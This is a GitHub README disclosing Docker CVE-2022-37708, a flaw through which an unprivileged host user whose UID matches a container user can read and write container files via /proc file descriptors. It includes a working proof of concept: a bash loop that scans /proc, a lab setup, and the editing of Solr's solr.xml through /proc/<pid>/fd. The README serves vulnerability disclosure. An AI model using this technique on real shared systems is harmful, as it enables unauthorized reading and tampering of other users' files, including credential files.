Skip to content

thekevinday/docker_lightman_exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

Docker Lightman Exploit

Docker CVE-2022-37708.

This exploit relies on how the UNIX filesystem has UID and GID on files that Docker shares between the Host running the Docker and the Client being run within the Docker as well as relies on the nature of how Process ID ownership works.

The Problem in a nutshell.

  • Docker directly maps the IDs from the shares within the Client to a private (and protected) directory on the "host system" (such as /var/lib/docker/volumes).
  • Directory traversal to this path is properly restriced and is not the exploit here.
  • These files have whatever UID and GID used within the system hosted within Docker (aka, the "client system"), regardless of whether or not the host system has or uses those UIDs/GIDs.
  • If at any point in time a file is opened up inside the "client system", that file descriptor becomes available on the Host system (outside of the Client).
  • The file descriptor for that file is owned by whatever UID, even if that UID doesn't exist on the Host system.
  • If it just so happens that a non-root/non-privileged user on the Host system happens to have that UID, then that user can read and write to the file without needing directory traversal access to the file (or even needing to know the file location).
  • A fully legitimate user can therefore PID dial (like war dialing), looking for open file descriptors for files.

This can be done in virtually any language that provides file descriptors access. The /proc/ directory happens to expose this, making this very easy to perform using a shell commands.

The Exploit

Consider a computer that is providing a e-mail service for multiple users. This e-mail service is run inside a self-contained distribution running inside of Docker on the host. The self-contained distribution is considered the "client system". The system in which Docker is running on is considered the "host system". The "host system" has different services on it, such as "DBUS" for providing a message-bus. For security reasons, the "DBUS" message bus is run as an unprivileged user "messagebus" and has UID 123. The "messagebus" user has no access to Docker and has no access to the "client system". For security reasons, the "client system" runs the e-mail processing as a non-root user "emailservice" and has the UID 123.

Notice how I designated the "messagebus" as having an UID of 123 and also the "emailservice" as having a UID 123. This is not normally a problem because these are two separate systems (the "client system" and the "host system") and their UIDs and user mappings have no relationship to each other.

If at any point in time the "emailservice" opens up a random e-mail to process, the "messagebus" would have the opportunity to both see and edit that file. Because the "messagebus" user is completely outside of the "client system", the "client system" would never know that this file is potentially being read and written to.

This can be even more dangerous if the "emailservice" read the systems shadow file to validate some username and password combination. The "messagebus" would then have full read and write access to the shadow file within the "client system" for the duration in time in which that file is open within the "client system".

Performing Exploit

An easy way to perform the exploit is to just PID dial the /proc/ directory for pid files. A simple bash script in an infinite loop can periodically look for files being opened.

for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done

Scope of Exploit

There are two critical parts of the exploit that makes it hard to exploit.

  1. Time. The exploit is only applicable for the time in which a file is open within the "client system".
  2. Luck. The exploit requires that the UID a file is opened with within the "client system" must match the UID of the user on the "host system".

For the first case, an infinite loop and some script magic can alleviate this. For the second case, a specially crafted distribution or a well known distribution can rule out the luck part. If a system has pre-defined UIDs then it should be possible to predict what UID outside of the "client system" is needed.

Example Performing of the Exploit

Using Vagrant Debian-10 (Buster) virtual machine to run as the "host system" to test the explot:

Vagrant.configure("2") do |config|
  config.vm.box = "generic/debian10"

  config.vm.provider "virtualbox" do |vb|
    vb.memory = 4096
    vb.cpus = 2
    vb.name = "Wargames"
  end

  config.vm.synced_folder "/tmp/files", "/host"
end

Inside the "host system", get the latest version of Docker and follow the instructions here:

The example "client system" is an open-source product hosting on Github called DSpace that provides a docker-compose file:

Now clone Dspace, and run docker compose:

# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up

There are several images created by this project, but lets focus on "dspace_solr_data".

Lets confirm directory traversal is protected:

# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May  6 13:49 /var/lib/docker

Lets look at the file I want to exploit:

# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml

This tells us that our lucky user needs to happen to have a UID of 8983 to be able to exploit this.

Lets create this lucky user, and call him "Lightman".

# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman

Now lets look at those files:

# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml

For Lightman to exploit this, not only does Lightman have to own the files, some process WITHIN the "client system" needs to have the file open. For the purposes of proving this exploit, we are going to use tail -F on the solr.xml file inside of the "client system".

Do this in a separate terminal, logged into the "host masystemchine" as the vagrant user.

Figure out the correct container:

# docker ps -a
CONTAINER ID   IMAGE                             COMMAND                  CREATED          STATUS                      PORTS                                            NAMES
...
c4b06050ef46   solr:8.11-slim                    "/bin/bash -c 'init-…"   11 minutes ago   Up 11 minutes               0.0.0.0:8983->8983/tcp                           dspacesolr

Now connect to solr:8.11-slim.

# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

The solr user does indeed have UID 8983.

Now open the solr.xml file and keep it open.

# tail -F /var/solr/data/solr.xml

Great, everything is setup for this Lightman user to war dial the for file descriptors.

In a separate terminal. logged into the "host system" as the vagrant user, switch to the Lightman user.

# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)

Use /proc to dial all of the open file descriptors:

# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May  6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May  6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May  6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May  6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May  6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3

As you can see, we have two matches:

lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May  6 14:22 /proc/12683/fd/4 -> anon_inode:inotify

Notice that the path /var/solr/data/solr.xml does not actually exist on the "host system".

Pay close attention to the terminal that you are running tail -F on as you do this. Edit the file by directly opening via the proc path:

# vim /proc/12683/fd/3

I go to the bottom of the file, write Hello World, and save the change. You should see, within the "client system", the file is also updated.

Lightman has successfully edited a file that Lightman has no proper read/write access to nor has any file directory traversal access to. The file is actually within a Docker client running under a different distribution that does not have a "Lightman" user on it.

About

Docker CVE-2022-37708

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published